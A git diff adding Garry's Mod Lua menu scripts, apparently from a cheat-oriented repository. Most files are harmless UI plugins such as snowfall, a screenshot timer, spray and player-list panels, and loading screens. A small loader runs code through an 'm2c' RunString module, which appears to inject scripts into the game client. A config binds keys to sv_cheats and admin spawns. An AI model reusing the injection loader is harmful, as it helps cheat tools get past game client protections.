KeepAt = { + ["pp_motionblur"] = "0", +} + + + +if IsMainGMod then --Not on test version! + table.Merge(Settings, KidaSettings) +end + +for k,v in pairs(Settings) do + HeXLRCL(v) +end + +timer.Create("CheckCVars", 1, 0, function() + for k,v in pairs(KeepAt) do + if (ConVarExists(k) and GetConVarString(k) != v) then + HeXLRCL(k.." "..v) + COLCON(CMIColor, k, RED, " != ", GREEN, v, CMIColor, ", resetting..") + end + end +end) + + +timer.Simple(0.1, function() + COLCON(CMIColor, "Set ", RED, "["..#Settings.."]", CMIColor, " settings!") +end) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua new file mode 100644 index 0000000..f287d36 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua @@ -0,0 +1,26 @@ + + + + +local function SlowScreenshot(ply,cmd,args) + local Time = 4 + if args[1] then + Time = tonumber( args[1] ) + end + + print("\nTaking screenshot after "..Time.." seconds") + + timer.Simple(Time, function() + RunConsoleCommand("jpeg") + print("\nScreenshot done!") + end) +end +concommand.Add("jpeg_slow", SlowScreenshot) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua new file mode 100644 index 0000000..49b5725 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua @@ -0,0 +1,77 @@ + +if (os.date("%m") != "12") then return end + + +local PANEL = {} +local SnowFlakes = {} + +function PANEL:Init() + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + + self:SetSize( ScrW(), ScrH() ) + self:SetPos( 0, 0 ) + + SnowFlakes = {} +end + +function PANEL:AddSnowFlake() + self.SnowFlake = vgui.Create("DImage", myParent) + self.SnowFlake:SetImage( "blackops/snowflakes/"..math.random( 1, 24 ) ) + self.SnowFlake:SizeToContents() + self.SnowFlake.xOff = math.random( 0, ScrW()-self.SnowFlake:GetWide() ) + self.SnowFlake.Speed = math.random( 70, 200 ) + self.SnowFlake.StartTime = SysTime() + table.insert( SnowFlakes, self.SnowFlake) + --print( "Snowflake added!" ) +end + +function PANEL:Think() + for k,v in ipairs( SnowFlakes ) do + local h = ScrH() + local yOff = 0 - (v.StartTime - SysTime()) * v.Speed - v:GetTall() + if ( yOff > h ) then --When it reaches the bottom we fake the creation of a new snowflake + v.StartTime = SysTime() + v.xOff = math.random( 0, ScrW()-self.SnowFlake:GetWide() ) + v:SetImage( "blackops/snowflakes/"..math.random( 1, 24 ) ) + v.Speed = math.random( 70, 200 ) + end + v:SetPos( v.xOff + math.cos(v.StartTime - SysTime()) * v.Speed/2, yOff ) + end +end + +local SnowFlakePanel = vgui.RegisterTable( PANEL, "Panel" ) + +local flakebackground = vgui.CreateFromTable( SnowFlakePanel ) + +concommand.Add("snow_add", function(ply,cmd,args) + local amounttoadd + if args[1] then + amounttoadd = tonumber(args[1]) + else + amounttoadd = math.random( 20, 50 ) + end + + for i=1,amounttoadd do + flakebackground:AddSnowFlake() + end +end ) --for lulz + +concommand.Add("snow_remove", function(ply,cmd,args) + for k,v in pairs(SnowFlakes) do + v:Remove() + v = nil + end + SnowFlakes = {} +end) + + +for i=1,math.random( 20, 50 ) do + flakebackground:AddSnowFlake() +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua new file mode 100644 index 0000000..b379cbc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua @@ -0,0 +1,34 @@ + +--require("simplespew") + +local Map = "Menustate" + +hook.Add("OnLoadingStarted", "GetMap", function() + Map = client.GetMapName() +end) + +hook.Add("OnLoadingStopped", "ResetMap", function() + Map = "Menustate" +end) + + +local function ProcessSpew(typ,spew,group,lev,red,green,blue,alpha) + if not client then + hook.Remove("SimpleSpew", "ProcessSpew") --Don't call own hook! + ErrorNoHalt("Extras gone, can't use client.GetMapName for spew!") + return + end + + local Date = os.date("%d-%m-%Y_%A") + + file.Append("spew/"..Date.."/"..Map..".txt", spew) + + --[[ + if spew:find(": ") then + file.Append("spew/"..Date.."_TALK/"..Map..".txt", spew) + end + ]] +end +hook.Add("SimpleSpew", "ProcessSpew", ProcessSpew) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua new file mode 100644 index 0000000..10fa747 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua @@ -0,0 +1,96 @@ + +concommand.Add( "spray_menu", function( ply, cmd, args ) + local Frame = vgui.Create( "DFrame" ) + Frame:SetSize( ScrH() / 2, ScrH() * 0.9 ) + Frame:SetTitle( "Player Sprays" ) + + local List = vgui.Create( "DPanelList", Frame ) + List:Dock( FILL ) + List:DockMargin( 2, 2, 2, 2 ) + List:EnableHorizontal( false ) + List:EnableVerticalScrollbar( true ) + List:SetPadding( 4 ) + List:SetSpacing( 4 ) + + for _,ply in ipairs( player.GetAll() ) do + local Row = vgui.Create( "SprayIcon", List ) + Row:SetPlayer( ply ) + List:AddItem( Row ) + end + + Frame:MakePopup() + Frame:Center() +end ) + +local PANEL = {} + +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( false ) + + self.Name = vgui.Create( "DLabel", self ) + self.Name:SetFont( "Trebuchet22" ) + self.Name:SetColor( Color( 170, 240, 90 ) ) + self.Name:SetText( "" ) + self.Name:SetExpensiveShadow( 2, Color( 0, 0, 0, 100 ) ) + + self.Desc = vgui.Create( "DLabel", self ) + self.Desc:SetFont( "DefaultBold" ) + self.Desc:SetColor( Color( 255, 255, 255, 200 ) ) + self.Desc:SetText( "" ) + + self.Icon = vgui.Create( "DImage", self ) + self.Icon:SetImage( "vgui/logos/spray_bullseye" ) + self.Icon:SetBGColor( Color( 255, 0, 0, 255 ) ) + + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + +end + +function PANEL:SetPlayer( ply ) + + local TempLogoPath = ply:GetSprayMaterialPath() + + self.Name:SetText( ply:Nick() ) + self:SetSize( 74, 74 ) + + if TempLogoPath then + + local new_material = TempLogoPath and CreateMaterial( TempLogoPath, "UnlitGeneric", { + ["$translucent"] = 1, + ["$basetexture"] = TempLogoPath, + ["$decal"] = 1, + ["Proxies"] = { + ["AnimatedTexture"] = { + ["animatedtexturevar"] = "$basetexture", + ["animatedtextureframenumvar"] = "$frame", + ["animatedtextureframerate"] = 5, + } + }, + } ) + + self.Icon:SetMaterial( new_material ) + self.Desc:SetText( TempLogoPath ) + end + +end + +function PANEL:PerformLayout() + + self.Icon:SetPos( 5, 5 ) + self.Icon:SetSize( 64, 64 ) + + self.Name:SizeToContents() + self.Name:AlignTop( 5 ) + self.Name:MoveRightOf( self.Icon, 10 ) + self.Name:SetZPos( 100 ) + + self.Desc:SizeToContents() + self.Desc:CopyPos( self.Name ) + self.Desc:MoveBelow( self.Name, 0 ) + + +end + +vgui.Register( "SprayIcon", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua new file mode 100644 index 0000000..2fc8b51 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua @@ -0,0 +1,121 @@ + + +local function ServerInfo(ply,cmd,args) + console.PrintColor( Color( 153, 217, 234 ), "\nMaxPlayers", Color( 255, 255, 255 ), ": " .. client.GetMaxPlayers() ) + console.PrintColor( Color( 153, 217, 234 ), "IP", Color( 255, 255, 255 ), ": " .. client.GetIP() ) + + for k,v in ipairs( player.GetAll() ) do + print( v, type( v ) ) + end + console.PrintColor( Color( 153, 217, 234 ), "\nLocalPlayer", Color( 255, 255, 255 ), ": " .. tostring( LocalPlayer() ) ) +end +concommand.Add("ServerInfo", ServerInfo) + + +local function Status2(ply,cmd,args) + print( "IP : " .. client.GetIP() ) + print( "Map : " .. client.GetMapName() ) + print( "Players : " .. table.maxn( player.GetAll() ) .. " (" .. client.GetMaxPlayers() .. " max)\n" ) + print( "# userid\tindex\tname\t\t\tsteamid\t\t\tcommunityid" ) + for k, v in pairs( player.GetAll() ) do + print( "# " .. v:UserID() .. "\t\t" .. v:EntIndex() .. "\t" .. v:Nick() .. "\t\t" .. v:SteamID() .. "\t" .. v:CommunityID() ) + end +end +concommand.Add("status2", Status2) + + +if IsMainGMod or IsKida then + hook.Add("ConsoleOpen", "lol", function() + if client.IsInGame() and (#player.GetHumans() > 1) then + Status2() + end + end) +end + + +concommand.Add("ServerPlayers", function( ply, cmd, args ) + local Frame = vgui.Create( "DFrame" ) + Frame:SetSize( ScrW()*0.55, ScrH()*0.45 ) + Frame:Center() + Frame:SetTitle( "Player List" ) + Frame:MakePopup() + + local List = vgui.Create( "DListView", Frame ) + List:SetPos( 5, 30 ) + List:SetSize( Frame:GetWide() - 10, Frame:GetTall() - 35 ) + List:SetMultiSelect( false ) + + List.IsPlayerOnList = function( self, ply ) + for k,v in pairs( self:GetLines() ) do + if v.PlayerEnt == ply then + return true + end + end + return false + end + + List.ThinkDelay = RealTime() + + List.Think = function( self ) -- Constantly update the menu to remove or add any new or old players + if !client.IsDrawingLoadingImage() and self.ThinkDelay <= RealTime() then --Never think while loading, tis bad + for k,v in pairs( self:GetLines() ) do + if !IsValid( v.PlayerEnt ) then + self:RemoveLine( k ) + else + v:SetColumnText( 4, v.PlayerEnt:SteamID() ) + v:SetColumnText( 7, tostring( v.PlayerEnt:IsMuted() ) ) + end + end + + for k,v in ipairs( player.GetAll() ) do + if !self:IsPlayerOnList( v ) then + local line = self:AddLine( v:Nick(), v:UserID(), v:EntIndex(), v:SteamID(), v:CommunityID(), tostring( v:IsBot() ), tostring( v:IsMuted() ) ) + line.PlayerEnt = v + if v == LocalPlayer() then + self:SelectItem( line ) + end + end + end + self.ThinkDelay = RealTime() + 1 + end + end + + List:AddColumn("Name") + List:AddColumn("UserID"):SetFixedWidth( 50 ) + List:AddColumn("EntIndex"):SetFixedWidth( 50 ) + List:AddColumn("SteamID"):SetFixedWidth( 125 ) + List:AddColumn("Community ID"):SetFixedWidth( 125 ) + List:AddColumn("Bot"):SetFixedWidth( 35 ) + List:AddColumn("Muted"):SetFixedWidth( 40 ) + List.OnRowRightClick = function() + + local SelectedPlayer = List:GetLine( List:GetSelectedLine() ).PlayerEnt + + if IsValid( SelectedPlayer ) then + local Menu = DermaMenu() + Menu:SetParent( Frame ) + Menu:SetPos( Frame:CursorPos() ) + if SelectedPlayer:IsMuted() then + Menu:AddOption("Unmute", function() + SelectedPlayer:SetMuted( false ) + end ) + else + Menu:AddOption("Mute", function() + SelectedPlayer:SetMuted( true ) + end ) + end + Menu:AddOption("Copy Name", function() + SetClipboardText( SelectedPlayer:Nick() ) + end ) + Menu:AddOption("Copy SteamID", function() + SetClipboardText( SelectedPlayer:SteamID() ) + end ) + Menu:AddOption("Copy CommunityID", function() + SetClipboardText( SelectedPlayer:CommunityID() ) + end ) + Menu:AddOption("Go To Steam Page", function() + gui.OpenURL( "http://www.steamcommunity.com/profiles/" .. SelectedPlayer:CommunityID() ) + end ) + end + end +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua new file mode 100644 index 0000000..eb418d7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua @@ -0,0 +1,31 @@ + +if not IsMainGMod then return end + + +local VoiceToggle = false +local function togglevoicerecord() + if not VoiceToggle then + RunConsoleCommand("+voicerecord") + else + RunConsoleCommand("-voicerecord") + end + VoiceToggle = not VoiceToggle +end +concommand.Add("togglevoice", togglevoicerecord) + + +/* +local togglecommands = {} +local function ToggleAPlusMinusCommand(ply,cmd,args) + if not args[1] then print("enter an argument plz") return end + if not togglecommands[args[1]] then togglecommands[args[1]] = false end + if not togglecommands[args[1]] then + RunConsoleCommand("+"..args[1]) + else + RunConsoleCommand("-"..args[1]) + end + togglecommands[args[1]] = not togglecommands[args[1]] +end +concommand.Add("ftoggle", ToggleAPlusMinusCommand) +*/ + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua new file mode 100644 index 0000000..0dd3cac --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua @@ -0,0 +1,113 @@ + + +surface.CreateFont("Coolvetica", 20, 500, true, false, "LoadingDownloads") + +PANEL.Base = "Panel" + +function PANEL:Init() + self.Icon = vgui.Create("DImage", self) + self.Icon:SetImage("gui/silkicons/page_white_magnify") + + self.lblNumToDownload = vgui.Create("DLabel", self) + self.lblNumToDownload:SetContentAlignment(4) + self.lblNumToDownload:SetFont("LoadingDownloads") + + self.Files = {} + self.FilesToDownload = {} +end + + + +function PANEL:PerformLayout() + local Height = 20 + + self:SetWide(150) + self:SetTall(Height) + + self.Icon:SetPos(0, 0) + self.Icon:SizeToContents() + self.Icon:CenterVertical() + + self.lblNumToDownload:StretchToParent(25, 0, 0, 0) +end + + +function PANEL:SetText(txt) + self.TypeName = txt +end + + +function PANEL:SetIcon(txt) + self.IconTexture = txt + self.Icon:SetImage(txt) +end + + +function PANEL:SetSpeed(s) + self.Speed = s +end + + +function PANEL:AddFile(filename) + local iReturn = 0 + local bExists = file.Exists(filename, true) + + if (bExists) then + table.insert(self.Files, filename) + else + table.insert(self.FilesToDownload, filename) + iReturn = 1 + end + + self:UpdateCounts() + return iReturn +end + + +function PANEL:Downloaded(filename) + for k, v in pairs(self.FilesToDownload) do + if (v == filename) then + self.FilesToDownload[ k ] = nil + table.insert(self.Files, v) + end + end + + self:UpdateCounts() +end + + +function PANEL:MakeRunner(filename) + for k, v in pairs(self.FilesToDownload) do + v = v:gsub("\\", "/") + + if (v == filename) then + return self:GetParent():AddRunner(self.IconTexture, self.Speed) + end + end +end + + +function PANEL:ShouldBeVisible() + return table.Count(self.FilesToDownload) > 0 +end + + +function PANEL:UpdateCounts() + local cnt = table.Count(self.FilesToDownload) + self.lblNumToDownload:SetText(Format("%i %s", cnt, self.TypeName)) + + if (cnt == 0) then + self:SetVisible(false) + end +end + + +function PANEL:Clean() + self.Files = {} + self.FilesToDownload = {} + + self:UpdateCounts() +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua new file mode 100644 index 0000000..81a74bd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua @@ -0,0 +1,186 @@ + + + +local pnlDownloadType = vgui.RegisterFile("download_type.lua") +local pnlRunnerType = vgui.RegisterFile("runner.lua") + +PANEL.Base = "Panel" + + +function PANEL:Init() + self.lblHeadline = vgui.Create("DLabel", self) + self.lblHeadline:SetFont("LoadingProgress") + self.lblHeadline:SetContentAlignment(5) + + self.Downloads = {} + + self.Downloads["other"] = self:DownloadType("Garbage", "gui/silkicons/box", 25) + self.Downloads["lua"] = self:DownloadType("Datapack", "gui/silkicons/page", 30) + self.Downloads["textures"] = self:DownloadType("Materials", "gui/silkicons/palette", 40) + self.Downloads["models"] = self:DownloadType("Models", "gui/silkicons/brick_add", 50) + self.Downloads["maps"] = self:DownloadType("Map", "gui/silkicons/world", 60) + self.Downloads["sounds"] = self:DownloadType("Sounds", "gui/silkicons/sound", 35) + self.Downloads["text"] = self:DownloadType("Text", "gui/silkicons/table_edit", 30) +end + + +function PANEL:DownloadType(strName, strTexture, speed) + local ctrl = vgui.CreateFromTable(pnlDownloadType, self) + ctrl:SetText(strName) + ctrl:SetIcon(strTexture) + ctrl:SetSpeed(speed) + return ctrl +end + + +function PANEL:PerformLayout() + self.lblHeadline:SetPos(0, 20) + self.lblHeadline:SetSize(ScrW(), 20) + + y = 50 + + for k, panel in pairs(self.Downloads) do + if (panel:ShouldBeVisible()) then + panel:SetVisible(true) + panel:InvalidateLayout(true) + panel:CenterHorizontal() + panel.y = y + y = y + panel:GetTall() + 2 + else + panel:SetVisible(false) + end + end +end + + +function PANEL:RefreshDownloadables() + self.Downloadables = GetDownloadables() + if (!self.Downloadables) then return end + + self:ClearDownloads() + + local iDownloading = 0 + for k, v in pairs(self.Downloadables) do + v = v:gsub(".bz2", "") + v = v:gsub(".ztmp", "") + v = v:gsub("\\", "/") + + iDownloading = iDownloading + self:ClassifyDownload(v) + end + + if (iDownloading == 0) then return end + + self.lblHeadline:SetText(Format("%i files needed from server", iDownloading)) + self:InvalidateLayout() +end + + +function PANEL:ClearDownloads() + for k, panel in pairs(self.Downloads) do + panel:Clean() + panel:SetVisible(false) + end +end + + +function PANEL:ClassifyDownload(filename) + local ctrl = self.Downloads["other"] + + if filename:find(".dua") then + ctrl = self.Downloads["lua"] + + elseif (filename:find(".vtf") or filename:find(".vmt")) then + ctrl = self.Downloads["textures"] + + elseif (filename:find("models/") or filename:find("models\\") or filename:find(".mdl")) then + ctrl = self.Downloads["models"] + + elseif (filename:find("sound/") or filename:find("sound\\") or filename:find(".wav") or filename:find(".mp3")) then + ctrl = self.Downloads["sounds"] + + elseif (filename:find(".bsp")) then + ctrl = self.Downloads["maps"] + + elseif (filename:find(".txt")) then + ctrl = self.Downloads["text"] + end + + return ctrl:AddFile(filename) +end + + +function PANEL:CheckDownloadTables() + local NumDownloadables = NumDownloadables() + if (!NumDownloadables) then return end + + if (!self.NumDownloadables or NumDownloadables != self.NumDownloadables) then + self.NumDownloadables = NumDownloadables + self:RefreshDownloadables() + end +end + + +function PANEL:Clean() + self.NumDownloadables = nil + self.Downloadables = nil + self.FilesToDownload = nil + + self:ClearDownloads() + + self.lblHeadline:SetText("") +end + + + +function PANEL:CurrentDownloadFinished() + if (!self.strCurrentDownload) then return end + + for k, panel in pairs(self.Downloads) do + panel:Downloaded(self.strCurrentDownload) + end + + if (self.CurrentRunner) then + if (self.CurrentRunner:IsValid()) then + self.CurrentRunner:SetRepeat(false) + end + self.CurrentRunner = nil + end + + self.strCurrentDownload = nil +end + + +function PANEL:DownloadingFile(filename) + self:CheckDownloadTables() + self:CurrentDownloadFinished() + self.strCurrentDownload = filename + + if (self.CurrentRunner) then + if (self.CurrentRunner:IsValid()) then + self.CurrentRunner:SetRepeat(false) + end + self.CurrentRunner = nil + end + + for k, panel in pairs(self.Downloads) do + self.CurrentRunner = panel:MakeRunner(self.strCurrentDownload) + if (self.CurrentRunner) then + self.CurrentRunner:SetRepeat(true) + break + end + end +end + + +function PANEL:StatusChanged(strNewStatus) + self:CurrentDownloadFinished() + self:CheckDownloadTables() +end + + +function PANEL:AddRunner(icon, speed) + local Runner = vgui.CreateFromTable(pnlRunnerType, self) + Runner:SetUp(icon, speed) + return Runner +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua new file mode 100644 index 0000000..d097f80 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua @@ -0,0 +1,75 @@ + + +surface.CreateFont("Coolvetica", 22, 500, true, false, "LoadingProgress") + +local pnlLoadWorker = vgui.RegisterFile("worker.lua") +local NumLabels = 10 + +PANEL.Base = "Panel" + + +function PANEL:Init() + self.Labels = {} + + for i = 1, NumLabels do + self.Labels[i] = vgui.Create("DLabel", self) + self.Labels[i]:SetFont("LoadingProgress") + self.Labels[i]:SetContentAlignment(5) + self.Labels[i]:SetText("") + + if (i == 1) then + self.Labels[i]:SetTextColor(Color(120, 120, 120, 255)) + else + self.Labels[i]:SetTextColor(Color(120, 120, 120, 127 * (1 - (i/NumLabels)))) + end + end + + self.LoadWorker = vgui.CreateFromTable(pnlLoadWorker, self) +end + + +function PANEL:PerformLayout() + local Width,Hight = ScrW(),ScrH() + + self:SetSize(Width, Hight) + + self.LoadWorker:SetSize(150, 150) + self.LoadWorker:CenterHorizontal() + + for i = 1, NumLabels do + self.Labels[i]:SetSize(Width, 24) + self.Labels[i]:SetPos(0, 150 + 24 * (i-1)) + end +end + + + +function PANEL:StatusChanged(what) + for i = NumLabels, 2, -1 do + self.Labels[i]:SetText(self.Labels[i-1]:GetValue()) + end + + self.Labels[1]:SetText(what) +end + + +function PANEL:DownloadingFile(filename) + local Translated = TranslateDownloadableName(filename) or filename + + self:StatusChanged("Downloading "..Translated) +end + + +function PANEL:Paint() +end + + +function PANEL:Clean() + for i = 1, NumLabels do + self.Labels[i]:SetText("") + end +end + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua new file mode 100644 index 0000000..a71cd5f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua @@ -0,0 +1,85 @@ + + +PANEL.Base = "Panel" + +function PANEL:Init() + self.Icon = vgui.Create("DImage", self) + + self.Shadow = vgui.Create("DImage", self) + self.Shadow:SetImage("gui/legs") + + if (math.random(0,30) == 1) then + self.Overlay = vgui.Create("DImage", self) + self.Overlay:SetImage("gui/legs"..math.random(1, 2)) + end +end + + + +function PANEL:SetUp(Icon, Speed) + self.Icon:SetImage(Icon) + + local Distance = math.Rand(0, 30) + + self.BaseY = self:GetParent():GetTall() -64 - Distance + self:SetPos(-62, self.BaseY) + self:SetZPos(20 - Distance) + + self.Speed = Speed * math.Rand(0.8, 1.0) * 0.5 + + self.StartTime = SysTime() + self.EndTime = SysTime() + self.Speed * 0.5 +end + + +function PANEL:PerformLayout() + self:SetSize(64, 64) + + self.Icon:SetSize(16, 16) + self.Icon:SetPos(24, 32) + + if (ValidPanel(self.Overlay)) then + self.Overlay:SetPos(0, 0) + self.Overlay:SetSize(64, 64) + self.Overlay:SetZPos(1) + end + + self.Shadow:SetPos(0, 0) + self.Shadow:SetSize(64, 64) + self.Shadow:SetZPos(1) +end + + +function PANEL:Think() + if (!self.StartTime) then return end + + local delta = (SysTime() - self.StartTime) / (self.EndTime - self.StartTime) + + local x = Lerp(delta, -62, ScrW()) + local y = self.BaseY - 64 + math.sin(x * 0.01) * 32 + + self:SetPos(x, y) + + if (x >= ScrW()) then + if (!self.Repeat) then + self:Remove() + else --Go around again + self.EndTime = SysTime() + (self.EndTime - self.StartTime) + self.StartTime = SysTime() + self.x = -62 + end + end + + // Up/Down motion. I don't like it. + //self.Icon:SetPos(24, 32 + math.sin((SysTime() * self.Speed) * 0.2) * 3) +end + + +function PANEL:SetRepeat(bRepeat) + self.Repeat = bRepeat +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua new file mode 100644 index 0000000..5399e5c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua @@ -0,0 +1,25 @@ + + +local MatRotate = Material("VGUI/loading-rotate") +local MatLogo = Material("VGUI/loading-logo") + +PANEL.Base = "Panel" + + +function PANEL:Init() +end + +function PANEL:Paint() + local size = self:GetTall() + local sqrdiag = size * math.sqrt(2) * 0.5 + + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, 0) + + surface.SetMaterial(MatLogo) + surface.SetDrawColor(255, 255, 255, 255) + + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, 0) + + surface.SetMaterial(MatRotate) + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, SysTime() * 180) +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico new file mode 100644 index 0000000..ef1e4b2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua new file mode 100644 index 0000000..653218b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua @@ -0,0 +1,35 @@ + + +iface3 = true + + +function _G.HeXInclude(path) + local tmp = "lua/"..path + if file.Exists(tmp,true) then + if m2c then + m2c.RunString( file.Read(tmp, true) ) + else + RunString( file.Read(tmp, true) ) + end + else + print("! gone: ", tmp) + end +end + +if not HeXLoaded then + HeXLoaded = true + _G.HeXInclude("hex_loader.lua") +end + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua new file mode 100644 index 0000000..f22449b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua @@ -0,0 +1,106 @@ + +require("concommand") +require("cvars") + +include("includes/compat.lua") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + + +if not client then --Don't load twice! + require("extras") +end +if not client then + fuckup = true +end + +IsMainGMod = file.Exists("MAIN.lua",true) +IsKida = file.Exists("KIDA.lua",true) + + + +BROWN = Color(128,128,0) +EntityColor = Color(151,211,255) +CMIColor = Color(153,217,234) +BLUE = Color(51,153,255) +WHITE = Color(255,255,255) +PINK = Color(255,175,202) +GREY = Color(196,196,196) +GREEN = Color(182,231,18) +RED = Color(237,16,29) +ADMINRED = Color(255,50,50) +MODGREEN = Color(0,255,0) + +function COLCON(...) + if fuckup then + for k, v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = WHITE + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.PrintColor( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.PrintColor( EntityColor, v:GetClass() ) + else + console.PrintColor( color, tostring(v) ) + end + end + console.PrintColor( color, "\n" ) +end +--COLCON = MsgC + + +if not RealTime then RealTime = CurTime end +function StringCheck(str,check) + return tostring(str):sub(1,#check) == check +end + + +local function LoadCMI() + Msg("\n") + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// Custom Menu Inc //") + COLCON(GREEN, "///////////////////////////////////////") + + for k,v in pairs( file.FindInLua("custom_menu/ml_B_*.lua") ) do + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_H_*.lua") ) do + COLCON( CMIColor, " Loading ", RED, "Script", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do + if not (v:sub(1,5) == "ml_B_" or v:sub(1,5) == "ml_H_") then + COLCON( CMIColor, " Loading ", GREEN, "Plugin", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + --[[ + for k,v in pairs( file.FindInLua("skins/*.lua") ) do --include skins + COLCON( CMIColor, " Loading ", GREY, "Skin", WHITE, ": "..v ) + include("skins/"..v) + end + ]] + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// CMI Loaded! //") + COLCON(GREEN, "///////////////////////////////////////") + Msg("\n") +end +concommand.Add("cmi_reload", LoadCMI) +timer.Simple(0, LoadCMI) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg b/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg new file mode 100644 index 0000000..7bb2aa3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg @@ -0,0 +1,30 @@ + + +bind "0" "bot_mimic 1; sv_password beta" +bind "b" "buddha" +bind "g" "stopsounds" +bind "i" "sv_cheats 1" +bind "j" "super_flashlight" +bind "k" "kill" +bind "l" "+listgest" +bind "m" "fspectate" +bind "n" "impulse 101" +bind "t" "togglefray" +bind "[" "ulx ent weapon_slam" +bind "]" "ulx ent npc_tripmine" +bind "," "bind mwheelup invprev; bind mwheeldown invnext" +bind "." "unbind mwheelup;unbind mwheeldown" +bind "\" "+fzoom" +bind "HOME" "firstperson" +bind "END" "thirdperson" +bind "UPARROW" 